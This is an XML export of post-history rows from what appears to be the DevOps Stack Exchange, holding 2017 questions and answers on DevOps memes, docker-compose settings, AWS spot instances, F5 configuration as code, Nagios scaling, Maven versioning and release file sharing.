  <row Id="4600" PostHistoryTypeId="5" PostId="1409" RevisionGUID="025be444-094d-4a13-b7b2-da050533b755" CreationDate="2017-06-23T11:43:30.837" UserId="6" Comment="added 311 characters in body" Text="Useful memes:&#xD;&#xA;&#xD;&#xA;* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;&#xD;&#xA;There are some horrible memes pushed by vendors worth mentioning.&#xD;&#xA;&#xD;&#xA;_WARNING_: **Bad** memes to use for explaining DevOps (traps for young players) -&#xD;&#xA;&#xD;&#xA;* &quot;BI-Modal IT&quot; by Gartner - criticised by Jez Humble here: https://continuousdelivery.com/2016/04/the-flaw-at-the-heart-of-bimodal-it/&#xD;&#xA;* &quot;Multi-Speed IT&quot; by Accenture https://www.accenture.com/us-en/insight-calibrating-multi-speed-it - asked about here - https://devops.stackexchange.com/questions/1411/what-is-good-and-or-bad-about-accentures-multi-speed-it-approach-to-devops&#xD;&#xA;* &quot;The Three Ways&quot; by Gene Kim https://itrevolution.com/the-three-ways-principles-underpinning-devops/ - the comments on the article include plenty of criticism" ContentLicense="CC BY-SA 3.0" />
  <row Id="4601" PostHistoryTypeId="2" PostId="1412" RevisionGUID="aff83a7c-8859-4b65-805a-2cb332e515f3" CreationDate="2017-06-23T11:49:38.817" UserId="6" Text="The &quot;First Way&quot; in Gene Kim's explanation of DevOps requires &quot;System Thinking&quot; https://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;&#xD;&#xA;Where can one learn the ability for &quot;System Thinking&quot;? What are some of the resources that can take someone who has no familiarity with &quot;System Thinking&quot; and enable that person to start doing &quot;System Thinking&quot; in his daily work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4602" PostHistoryTypeId="1" PostId="1412" RevisionGUID="aff83a7c-8859-4b65-805a-2cb332e515f3" CreationDate="2017-06-23T11:49:38.817" UserId="6" Text="What is System Thinking?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4603" PostHistoryTypeId="3" PostId="1412" RevisionGUID="aff83a7c-8859-4b65-805a-2cb332e515f3" CreationDate="2017-06-23T11:49:38.817" UserId="6" Text="&lt;meme&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4604" PostHistoryTypeId="5" PostId="1409" RevisionGUID="760c3f50-57d5-4ff6-a8bf-ad29972a19e0" CreationDate="2017-06-23T11:53:56.560" UserId="6" Comment="added 87 characters in body" Text="Useful memes:&#xD;&#xA;&#xD;&#xA;* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;* **I.C.E.** from http://radar.oreilly.com/2015/01/devops-keeps-it-cool-with-ice.html&#xD;&#xA;&#xD;&#xA;There are some horrible memes pushed by vendors worth mentioning.&#xD;&#xA;&#xD;&#xA;_WARNING_: **Bad** memes to use for explaining DevOps (traps for young players) -&#xD;&#xA;&#xD;&#xA;* &quot;BI-Modal IT&quot; by Gartner - criticised by Jez Humble here: https://continuousdelivery.com/2016/04/the-flaw-at-the-heart-of-bimodal-it/&#xD;&#xA;* &quot;Multi-Speed IT&quot; by Accenture https://www.accenture.com/us-en/insight-calibrating-multi-speed-it - asked about here - https://devops.stackexchange.com/questions/1411/what-is-good-and-or-bad-about-accentures-multi-speed-it-approach-to-devops&#xD;&#xA;* &quot;The Three Ways&quot; by Gene Kim https://itrevolution.com/the-three-ways-principles-underpinning-devops/ - the comments on the article include plenty of criticism" ContentLicense="CC BY-SA 3.0" />
  <row Id="4605" PostHistoryTypeId="5" PostId="1411" RevisionGUID="0659cd1e-289e-4488-ab58-2498cf1801cf" CreationDate="2017-06-23T12:09:37.447" UserId="6" Comment="added 125 characters in body" Text="Accenture are talking a lot about their &quot;Multi-speed IT&quot; approach.&#xD;&#xA;&#xD;&#xA;It appears in their strategy consulting here:&#xD;&#xA;&#xD;&#xA;* https://www.accenture.com/us-en/insight-calibrating-multi-speed-it&#xD;&#xA;&#xD;&#xA;and on blog posts in their DevOps blog:&#xD;&#xA;&#xD;&#xA;* https://www.accenture.com/us-en/blogs/blogs-support-multispeed-it-with-devops-agile&#xD;&#xA;* https://www.accenture.com/us-en/blogs/blogs-emily-arnautovic-devops-change&#xD;&#xA;&#xD;&#xA;As well as in many other places that deal with various aspects of a technology organisation.&#xD;&#xA;&#xD;&#xA;Their own &quot;head of DevOps&quot; is talking about how Multi-speed is a bad practice https://www.youtube.com/watch?v=yGcXLwsnDgg&#xD;&#xA;&#xD;&#xA;Does this idea of &quot;Multi-speed IT&quot; has merit and can be used for continuous improvement in-line with DevOps? Or does it go against some of the common DevOps practices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4606" PostHistoryTypeId="4" PostId="1403" RevisionGUID="b907862d-3e89-448c-8cca-697fe20767fa" CreationDate="2017-06-23T12:19:19.627" UserId="707" Comment="edited title" Text="What are known useful and misleading memes in the DevOps culture?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4607" PostHistoryTypeId="2" PostId="1413" RevisionGUID="e982e8b5-ed12-48ad-9206-1730a63b7d81" CreationDate="2017-06-23T12:21:42.457" UserId="3249" Text="The [Docker Compose file reference states][1], that environment variables are defined as `VARIABLE=value` array elements. For your case, the docker-compose.yml file would need to be changed to this:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      server:&#xD;&#xA;        ports:&#xD;&#xA;         - 13045:3000&#xD;&#xA;        environment:&#xD;&#xA;         - NODE_CONFIG='{&quot;DATABASE_URL&quot;:&quot;http://db:5984&quot;}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="4608" PostHistoryTypeId="5" PostId="1403" RevisionGUID="b9dd35e6-98e4-4750-913b-1e6ca02a0910" CreationDate="2017-06-23T15:31:27.867" UserId="14" Comment="edited body" Text="After discovering the [Cattle vs Pets][1] and [12factor apps][2] DevOps memes which now will help me a lot with communication, I ask myself what are other known memes in the DevOps culture?&#xD;&#xA;&#xD;&#xA;Side note: best is to establish fact why a meme is a meme e.g. more than 10K Google query results?&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudscaling.com/blog/cloud-computing/the-history-of-pets-vs-cattle/&#xD;&#xA;  [2]: https://12factor.net/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4609" PostHistoryTypeId="2" PostId="1414" RevisionGUID="4bfe189e-ee5b-4c01-87c6-5fc17d8c4c2b" CreationDate="2017-06-23T16:05:21.790" UserId="3252" Text="If you look at the charts closely, you will see that a spike is always of a very short duration - just enough time for the automated monitoring systems written by the owner to terminate those systems gracefully.  In addition, you will occasionally find that the price drops down to 0 immediately following a spike.  That is because all systems in that data center are in use as on demand systems, with no systems available for spot pricing the price is effectively zero.&#xD;&#xA;&#xD;&#xA;When your spot instance flagged for termination, a message indicating this will be available on the system at the local meta-data uri of http://169.254.169.254/latest/meta-data/spot/termination-time.  There will be **3 minutes** until it terminates.  More then enough time in most cases to handle termination automatically.  Bidding above the demand price is only necessary for deployments which require more then a few minutes to terminate gracefully.&#xD;&#xA;&#xD;&#xA;If it is not possible to design your system to terminate gracefully, archive data, etc in 3 minutes you can place a bid higher then the demand price to gain time. The system can even be designed to proactively monitor the current spot price and swap over before the price goes over.  But for those times it does, you will need to make a business decision on how much it is worth for the time to terminate gracefully.&#xD;&#xA;&#xD;&#xA;It is foolish to pay $100/hour for 4-5 hours in order to keep your system.  However, if it will take your system 30 minutes to terminate all the processes gracefully, you can make a business decision how much it is worth to potentially lose any data, or degrade your horizontally scaled service.   An e-commerce site with a net profit of $10,000 an hour can certainly afford to pay $1000 to keep 2 spot instances running for 15 to 30 minutes while bringing up demand systems and archiving data.&#xD;&#xA;&#xD;&#xA;Web based application can use Elastic Load Balancer to help in addressing termination automatically. A smart implementor would put in place a set of scripts to handle the alert.  They could maintain 2 low cost on demand instances which are load balanced - and then use up to half a dozen medium cost systems via spot instances to maintain high performance and spend less then a single on demand system of the same capacity.   &#xD;&#xA;&#xD;&#xA;Leave 3 of them paying up to $100/hour and 3 of them paying only up to half the on demand price.  As AWS terminates instances, ELB will adjust automatically.  Giving the automated system up to an hour to adjust for a mere $200." ContentLicense="CC BY-SA 3.0" />
  <row Id="4610" PostHistoryTypeId="2" PostId="1415" RevisionGUID="ca967577-1216-4515-aae0-33009c667323" CreationDate="2017-06-23T20:00:57.980" UserId="3062" Text="So one of the goals of a software company is to have one click builds/deploy.  I think this is a major responsibility of the dev ops team.  Whether or not it is should be reserved for another conversation.  My question is that our company has multiple individual artifacts that make up a release.  Should the developers be able to one click build/deploy all these artifacts at once, or should each artifact be built/deployed individually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4611" PostHistoryTypeId="1" PostId="1415" RevisionGUID="ca967577-1216-4515-aae0-33009c667323" CreationDate="2017-06-23T20:00:57.980" UserId="3062" Text="Scope for one click build" ContentLicense="CC BY-SA 3.0" />
  <row Id="4612" PostHistoryTypeId="3" PostId="1415" RevisionGUID="ca967577-1216-4515-aae0-33009c667323" CreationDate="2017-06-23T20:00:57.980" UserId="3062" Text="&lt;deployment&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4613" PostHistoryTypeId="5" PostId="1409" RevisionGUID="16a796ce-679b-4d16-9a37-1f1c3511a947" CreationDate="2017-06-23T20:54:25.123" UserId="6" Comment="added 60 characters in body" Text="Useful memes:&#xD;&#xA;&#xD;&#xA;* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;* **I.C.E.** from http://radar.oreilly.com/2015/01/devops-keeps-it-cool-with-ice.html&#xD;&#xA;&#xD;&#xA;There are some horrible memes pushed by vendors worth mentioning.&#xD;&#xA;&#xD;&#xA;_WARNING_: **Bad** memes to use for explaining DevOps (traps for young players) -&#xD;&#xA;&#xD;&#xA;* &quot;BI-Modal IT&quot; by Gartner - criticised by Jez Humble here: https://continuousdelivery.com/2016/04/the-flaw-at-the-heart-of-bimodal-it/&#xD;&#xA;* &quot;Multi-Speed IT&quot; by Accenture https://www.accenture.com/us-en/insight-calibrating-multi-speed-it - (same as bimodal, but different name because of copyright - asked about here - https://devops.stackexchange.com/questions/1411/what-is-good-and-or-bad-about-accentures-multi-speed-it-approach-to-devops&#xD;&#xA;* &quot;The Three Ways&quot; by Gene Kim https://itrevolution.com/the-three-ways-principles-underpinning-devops/ - the comments on the article include plenty of criticism" ContentLicense="CC BY-SA 3.0" />
  <row Id="4614" PostHistoryTypeId="2" PostId="1416" RevisionGUID="11e60c9a-12b0-4a78-8ce6-65b910f0689f" CreationDate="2017-06-23T21:38:17.403" UserId="2845" Text="All these artifacts should be deployed at once. Otherwise, it is not truly &quot;one click.&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4615" PostHistoryTypeId="2" PostId="1417" RevisionGUID="fcaaad2a-dd83-45cf-92e7-7a2bbab0e89a" CreationDate="2017-06-24T04:04:44.900" UserId="6" Text="The answer is: it depends.&#xD;&#xA;&#xD;&#xA;Before I answer, I need to provide definitions for a couple of terms to prevent ambiguity.&#xD;&#xA;&#xD;&#xA;1) *Deploy* is defined as the *act of changing executables in an environment*. This might mean that new source is copied over, and some process is restarted. Or a new version of a docker container is placed into an orchestrator - doesn't really matter.&#xD;&#xA;&#xD;&#xA;2) *Release* is defined as the *act of making new functionality available to users of the system*.&#xD;&#xA;&#xD;&#xA;Do note that while in most organizations *release* and *deploy* happen together, they definitely don't have to be.&#xD;&#xA;&#xD;&#xA;&gt; Every released change (usually) requires new code to be deployed. But not every deployment of code means new changes were *released* to be used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let us first look at the best case possible. Where you don't have any *button* that requires pushing, to get a deployment to happen. Every change sent to your version control system - automatically gets tested for correctness and is automatically deployed to your system.&#xD;&#xA;&#xD;&#xA;Now your question is optionally several different questions:&#xD;&#xA;&#xD;&#xA;* Do I have a way to *release* a new feature and is that way manual? (button)&#xD;&#xA;* Do I *release* ALL available (multiple) features at the same time when that button is pushed?&#xD;&#xA;* Do my feature *releases* require changes to happen in multiple decoupled parts of the system?&#xD;&#xA;&#xD;&#xA;Since releasing new functionality requires some business approval. For example, the UX and correctness of the new functionality must actually bring value to your customers. It makes sense to have a &quot;dark&quot; release that only some friendly customers can see and provide feedback for. Then when these customers are happy with the value they get, your business can decide to make this new functionality generally available (GA).&#xD;&#xA;&#xD;&#xA;Should this feature break the system when released, it is possible to turn off the switch that made it released in the first place. All of which does not require any new code (or old code) to be deployed to the system, because the code is already there.&#xD;&#xA;&#xD;&#xA;When you consider that *deploy* and *release* are separate, it makes the decision to deploy everything together or separately simpler.&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;The manufacturing world and Toyota Production System specifically have taught us that having small batches is much more beneficial than batching work items together. TPS even goes as far as to strive for single-piece-flow, where each work item is delivered to the next work center alone and not in a batch.&#xD;&#xA;&#xD;&#xA;Agile methodologies have taken a cue from TPS and also describe the benefits of having small-batches. These would be described as a &quot;sprint&quot; with a definite deployed deliverable at the end and striving to keep the sprints as short as possible. This allows to run short experiments and receive feedback regarding the value of the changes created as soon as it is possible to do something about them.&#xD;&#xA;&#xD;&#xA;Continuous Delivery is taking this even further by saying that any finished code, should be deployed to your systems as soon as it was auto-tested. And a release can happen at any time when someone decided to do so. And experiments can be validated as part of the development cycle. Moving the definition of &quot;done&quot; for a developer away from &quot;I finished writing my code&quot; and towards &quot;I received feedback from customers that they received value&quot;. The shorter the feedback cycle is - minutes, seconds, etc... the better. And batching is a deterrent to short feedback.&#xD;&#xA;&#xD;&#xA;By having a button that by definition batches things together, would mean that risk of problems is higher. Learning from TPS, Agile and CD means that single-piece is far superior and has many benefits.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The answer &quot;it depends&quot; is correct because all of what I wrote above highly depends on the maturity of your organisation. The amount of automation you have. The amount of communication you have. And many other factors.&#xD;&#xA;&#xD;&#xA;Separating release from deployment requires continuous integration and deployment. As well as a system that enable to select which features to release. For example https://github.com/intuit/wasabi or https://www.infoq.com/presentations/etsy-deploy" ContentLicense="CC BY-SA 3.0" />
  <row Id="4616" PostHistoryTypeId="2" PostId="1418" RevisionGUID="6360d86d-6020-4d1d-847a-4b8b24bec0b9" CreationDate="2017-06-24T11:42:33.447" UserId="707" Text="Using CasC with F5 would allow for versioned and optionally dynamic network endpoint configuration, saving time and reducing risks.&#xD;&#xA;&#xD;&#xA;Does this tool support this? Are Single Configuration Files (SCF, F5 term) the vehicle to do that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4617" PostHistoryTypeId="1" PostId="1418" RevisionGUID="6360d86d-6020-4d1d-847a-4b8b24bec0b9" CreationDate="2017-06-24T11:42:33.447" UserId="707" Text="Does load balancer F5 support CasC (Configuration as Code)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4618" PostHistoryTypeId="3" PostId="1418" RevisionGUID="6360d86d-6020-4d1d-847a-4b8b24bec0b9" CreationDate="2017-06-24T11:42:33.447" UserId="707" Text="&lt;load-balance&gt;&lt;f5&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4619" PostHistoryTypeId="2" PostId="1419" RevisionGUID="32d8a8c8-a451-401e-afea-4010473ba493" CreationDate="2017-06-24T11:46:25.900" UserId="707" Text="Using Consul, you could allow your teams decentrally deploy and run microservices with dynamic dependencies.&#xD;&#xA;&#xD;&#xA;Now, how to assess these dependencies automatically if the architecture grows dynamically? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4620" PostHistoryTypeId="1" PostId="1419" RevisionGUID="32d8a8c8-a451-401e-afea-4010473ba493" CreationDate="2017-06-24T11:46:25.900" UserId="707" Text="How to visualize dynamic microservice architecture running with Consul?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4621" PostHistoryTypeId="3" PostId="1419" RevisionGUID="32d8a8c8-a451-401e-afea-4010473ba493" CreationDate="2017-06-24T11:46:25.900" UserId="707" Text="&lt;microservices&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4622" PostHistoryTypeId="2" PostId="1420" RevisionGUID="ffd1a095-1be2-4392-9f0e-0f5f5c708e5b" CreationDate="2017-06-24T22:06:05.220" UserId="2845" Text="Yes, F5's do support Configuration as Code. Historically, F5 has made an appliance to manage Configuration as Code called &quot;Enterprise Manager&quot; which pragmatically managed client endpoint F5s (LTMs, etc) using the iControl XML API. &#xD;&#xA;&#xD;&#xA;They rather quickly discovered this management appliance was terrible and added a more robust REST API to the client appliances for managing devices (LTMs, etc.; also branded as iControl) which is much easier to use and more flexible and then began building a replacement for the Enterprise Manager branded BIG-IQ.&#xD;&#xA;&#xD;&#xA;The point being, you can manage that same API using this REST interface. See their tutorial on [DevCentral](https://devcentral.f5.com/wiki/iControlrest.HomePage.ashx). Usually, you can find the exact REST syntax and calls on the DevCentral site on a per-version basis like this one for [TMOS 12.1.0](https://devcentral.f5.com/d/icontrol-rest-api-user-guide-version-1210).&#xD;&#xA;&#xD;&#xA;Generally speaking, it is NOT recommended that you use an SCF (Single Configuration File) pretty much ever for a couple of reasons. First, it lacks any supporting files, such as certificates and keys for your SSL profiles or scripted (so-called &quot;external&quot; health monitors), etc. Secondly, it plays poorly if  you use partitioning, as partitions are spread over several files in a foldered structure. These don't consolidate well into an SCF file. You would actually be better off to write TMOS scripts. One of the reasons F5 switched from the bigpipe command to the TMOS shell is that it could be scripted where bigpipe could not be easily scripted. But again, the REST API is preferred. SCFs are really a legacy of version 9 of TMOS and haven't aged well and work poorly in version 12. A significant reason for this is due to the changes in the HA peering between V10 and V11 when they changed to a clustered architecture. It really wreaked havoc on the usability of the SCFs. &#xD;&#xA;&#xD;&#xA;Puppet actually has a [module](https://forge.puppet.com/puppetlabs/f5) for managing F5s if you use this configuration management tool and salt has a [runner](https://docs.saltstack.com/en/latest/ref/runners/all/salt.runners.f5.html) for it - both using the REST API if you use either of these configuration management tools." ContentLicense="CC BY-SA 3.0" />
  <row Id="4624" PostHistoryTypeId="2" PostId="1421" RevisionGUID="da72b018-187e-4ee6-a750-3eaa4b020d08" CreationDate="2017-06-25T09:07:15.817" UserId="707" Text="If Nagious server would use a CaSC source of configuration in a larger organization is there a design flaw in this approach which will limit scaling up?&#xA;(to avoid broken configuration, test instances of Nagios could be calidated in a CI environment)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4625" PostHistoryTypeId="1" PostId="1421" RevisionGUID="da72b018-187e-4ee6-a750-3eaa4b020d08" CreationDate="2017-06-25T09:07:15.817" UserId="707" Text="Scaling issues with Nagios as CaSC" ContentLicense="CC BY-SA 3.0" />
  <row Id="4626" PostHistoryTypeId="3" PostId="1421" RevisionGUID="da72b018-187e-4ee6-a750-3eaa4b020d08" CreationDate="2017-06-25T09:07:15.817" UserId="707" Text="&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4627" PostHistoryTypeId="50" PostId="1238" RevisionGUID="8f4a962d-f9e0-4983-8c16-c0f91e378b12" CreationDate="2017-06-25T12:16:18.983" UserId="-1" />
  <row Id="4628" PostHistoryTypeId="2" PostId="1422" RevisionGUID="9e227e5d-843a-4cec-99b2-d7b84781e83f" CreationDate="2017-06-25T12:46:47.593" UserId="6" Text="In an organization with a hundred developers, and several thousand salespeople using SalesForce to create their application. Given the restrictions of SalesForce environment and deployment options.&#xD;&#xA;&#xD;&#xA;What would be the process and which tools to use to reach a delivery pipeline where changes can be delivered to production many times per day?&#xD;&#xA;&#xD;&#xA;The basic flow is:&#xD;&#xA;&#xD;&#xA; 1. salespeople think of ideas for improving their flow (bugs, new dev).&#xD;&#xA; 2. product managers distill the requirements and pass onto developers.&#xD;&#xA; 3. developers write code and create configuration changes in git.&#xD;&#xA; 4. magic happens (currently takes about 3-4 months).&#xD;&#xA; 5. new changes are in production and salespeople can use it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4629" PostHistoryTypeId="1" PostId="1422" RevisionGUID="9e227e5d-843a-4cec-99b2-d7b84781e83f" CreationDate="2017-06-25T12:46:47.593" UserId="6" Text="Delivery in a SalesForce environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="4630" PostHistoryTypeId="3" PostId="1422" RevisionGUID="9e227e5d-843a-4cec-99b2-d7b84781e83f" CreationDate="2017-06-25T12:46:47.593" UserId="6" Text="&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4631" PostHistoryTypeId="50" PostId="1233" RevisionGUID="f273fb6d-fb65-442a-b230-ca2c37cf8512" CreationDate="2017-06-25T14:22:22.583" UserId="-1" />
  <row Id="4632" PostHistoryTypeId="2" PostId="1423" RevisionGUID="bab6f963-3bc5-4ee8-aa28-4bfe8eb1e63d" CreationDate="2017-06-25T20:40:47.950" UserId="707" Text="Given the following situation:&#xD;&#xA;&#xD;&#xA; - in a POM file in the repo root (Atlassian BitBucket) I can define that this POM has e.g. the version `0.0.1-SNAPSHOT`&#xD;&#xA; - then I can tag the codebase whatever I want like `v.0.1`.&#xD;&#xA;&#xD;&#xA;This is however inconsistent, is there a better/established way than some custom scripting to control sync of this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4633" PostHistoryTypeId="1" PostId="1423" RevisionGUID="bab6f963-3bc5-4ee8-aa28-4bfe8eb1e63d" CreationDate="2017-06-25T20:40:47.950" UserId="707" Text="How to automate control of synchronization between Maven artefact version and Git tag?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4634" PostHistoryTypeId="3" PostId="1423" RevisionGUID="bab6f963-3bc5-4ee8-aa28-4bfe8eb1e63d" CreationDate="2017-06-25T20:40:47.950" UserId="707" Text="&lt;git&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4636" PostHistoryTypeId="2" PostId="1424" RevisionGUID="26e291ce-3793-4b2f-bce9-e69f67e2e716" CreationDate="2017-06-26T05:34:32.880" UserId="46" Text="I have also asked the AWS Support folks for help too, as Lambda's security was crucial for us [HIPAA compliancy].&#xD;&#xA;&#xD;&#xA;This was their response:&#xD;&#xA;&#xD;&#xA;&gt; Lambda has two options, you can have your lambda functions without a&#xD;&#xA;&gt; VPC or you could place your lambda function within a VPC. If you want&#xD;&#xA;&gt; to put your lambda function within VPC, then the most important thing&#xD;&#xA;&gt; to note is lambda function must be placed in private subnet. If you&#xD;&#xA;&gt; want to access internet resources from Lambda or make any AWS SDK API&#xD;&#xA;&gt; Calls, then you need to have the internet access for which you need to&#xD;&#xA;&gt; have a NAT Gateway or NAT Instance setup for the VPC, where your&#xD;&#xA;&gt; lambda function resides and have the private subnet point to the NAT&#xD;&#xA;&gt; Gateway. When lambda functions are placed within public subnet ( with&#xD;&#xA;&gt; an IGW route), then the lambda function won't work.&#xD;&#xA;&#xD;&#xA;So, a lambda function can be put into a private subnet of a VPC, but not inside a public subnet. And for being able to create instances and ssh'ing into them, from this Lambda, add the private subnet to the security group of the public subnet [or another hacky way, is to add the VPC's IP range to the security group].&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4637" PostHistoryTypeId="6" PostId="1421" RevisionGUID="3199dae4-bd87-4a98-9706-fa5a74a6b571" CreationDate="2017-06-26T05:55:33.583" UserId="46" Comment="edited tags" Text="&lt;nagios&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4638" PostHistoryTypeId="16" PostId="1403" RevisionGUID="a86f3f38-8949-42d2-a8ca-d2f78e497d1d" CreationDate="2017-06-26T05:56:25.517" UserId="46" />
  <row Id="4639" PostHistoryTypeId="16" PostId="1409" RevisionGUID="f1528673-569c-46a8-8ac5-a5265e1f2f62" CreationDate="2017-06-26T05:56:25.517" UserId="46" />
  <row Id="4640" PostHistoryTypeId="5" PostId="1421" RevisionGUID="b05c23a1-a4a1-46d1-b5d8-353c6a851e7b" CreationDate="2017-06-26T10:01:21.013" UserId="13" Comment="added 1 character in body" Text="If Nagios server would use a CaSC source of configuration in a larger organization is there a design flaw in this approach which will limit scaling up?&#xD;&#xA;&#xD;&#xA;To avoid broken configuration, test instances of Nagios could be validated in a CI environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="4644" PostHistoryTypeId="5" PostId="1423" RevisionGUID="90e4e80f-c635-45b7-948a-c93e24eb597a" CreationDate="2017-06-26T10:56:14.273" UserId="707" Comment="added 14 characters in body" Text="Given the following situation:&#xD;&#xA;&#xD;&#xA; - in a POM file in the repo root (Atlassian BitBucket) I can define that this POM has e.g. the version `0.0.1-SNAPSHOT`&#xD;&#xA; - then I can tag the codebase whatever I want like `v.0.1`.&#xD;&#xA;&#xD;&#xA;This would be then inconsistent versioning. Is there a better/established way than some custom scripting to control sync of this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4646" PostHistoryTypeId="2" PostId="1426" RevisionGUID="54397298-ffff-4acd-be9c-bb4eedeb7c6a" CreationDate="2017-06-26T12:12:16.457" UserId="3275" Text="Sorry if this is the wrong place to ask this question, but maybe I can get some help here :)&#xD;&#xA;&#xD;&#xA;At my company we use FTP to share release and e-mail to notify users of new release.&#xD;&#xA;&#xD;&#xA;I'm looking for a service where I can:&#xD;&#xA;&#xD;&#xA; 1. Easily upload a file for download&#xD;&#xA; 2. Users need to sign in to download &#xD;&#xA;    2.1. and keep a record o what users have downloaded what&#xD;&#xA; 3. proper UI&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;Cheers&#xD;&#xA;Andre&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4647" PostHistoryTypeId="1" PostId="1426" RevisionGUID="54397298-ffff-4acd-be9c-bb4eedeb7c6a" CreationDate="2017-06-26T12:12:16.457" UserId="3275" Text="Release/file sharing service" ContentLicense="CC BY-SA 3.0" />
  <row Id="4648" PostHistoryTypeId="3" PostId="1426" RevisionGUID="54397298-ffff-4acd-be9c-bb4eedeb7c6a" CreationDate="2017-06-26T12:12:16.457" UserId="3275" Text="&lt;release-management&gt;&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4649" PostHistoryTypeId="5" PostId="1426" RevisionGUID="571a4e2a-3f0e-4a4b-aed4-ffa63dec326a" CreationDate="2017-06-26T12:16:06.540" UserId="13" Comment="deleted 128 characters in body" Text="At my company we use FTP to share release and e-mail to notify users of new release.&#xD;&#xA;&#xD;&#xA;I'm looking for a service offering:&#xD;&#xA;&#xD;&#xA; 1. Easily upload of a file&#xD;&#xA; 2. Users need to sign in to download &#xD;&#xA;    - and keep a record of which user have downloaded what&#xD;&#xA; 3. proper UI&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4650" PostHistoryTypeId="2" PostId="1427" RevisionGUID="24a6a242-4d90-48dc-a896-5472a08d40ee" CreationDate="2017-06-26T12:20:44.113" UserId="13" Text="What you're after is an [Binary repository manager](https://en.wikipedia.org/wiki/Binary_repository_manager)&#xD;&#xA;&#xD;&#xA;Quoting from Wikipedia with added links:&#xD;&#xA;&#xD;&#xA;&gt; Notable Universal package managers include:[6]&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - [Apache Archiva][1]&#xD;&#xA;&gt;  - [Jfrog's Artifactory][2] &#xD;&#xA;&gt;  - [Inedo's ProGet][3] &#xD;&#xA;&gt;  - [Sonatype Nexus][4]&#xD;&#xA;&#xD;&#xA;I know for sure Nexus and Artifactory match your requirements (even if proper UI is a bit subjective and you mileage may vary).&#xD;&#xA;&#xD;&#xA;  [1]: https://archiva.apache.org/index.cgi&#xD;&#xA;  [2]: https://www.jfrog.com/open-source/&#xD;&#xA;  [3]: https://inedo.com/proget&#xD;&#xA;  [4]: https://www.sonatype.com/nexus-repository-sonatype" ContentLicense="CC BY-SA 3.0" />
  <row Id="4651" PostHistoryTypeId="5" PostId="1426" RevisionGUID="1a18195b-a6ec-4ab1-84d3-c4111d0c2d43" CreationDate="2017-06-26T13:52:02.857" UserId="3275" Comment="added some detail" Text="At my company we use FTP to share releases and e-mail to notify customers of the availability.&#xD;&#xA;&#xD;&#xA;I'm looking for a service offering:&#xD;&#xA;&#xD;&#xA; 1. Easily upload of a file&#xD;&#xA; 2. Users need to sign in to download &#xD;&#xA;    - and keep a record of which user have downloaded what&#xD;&#xA; 3. proper UI&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
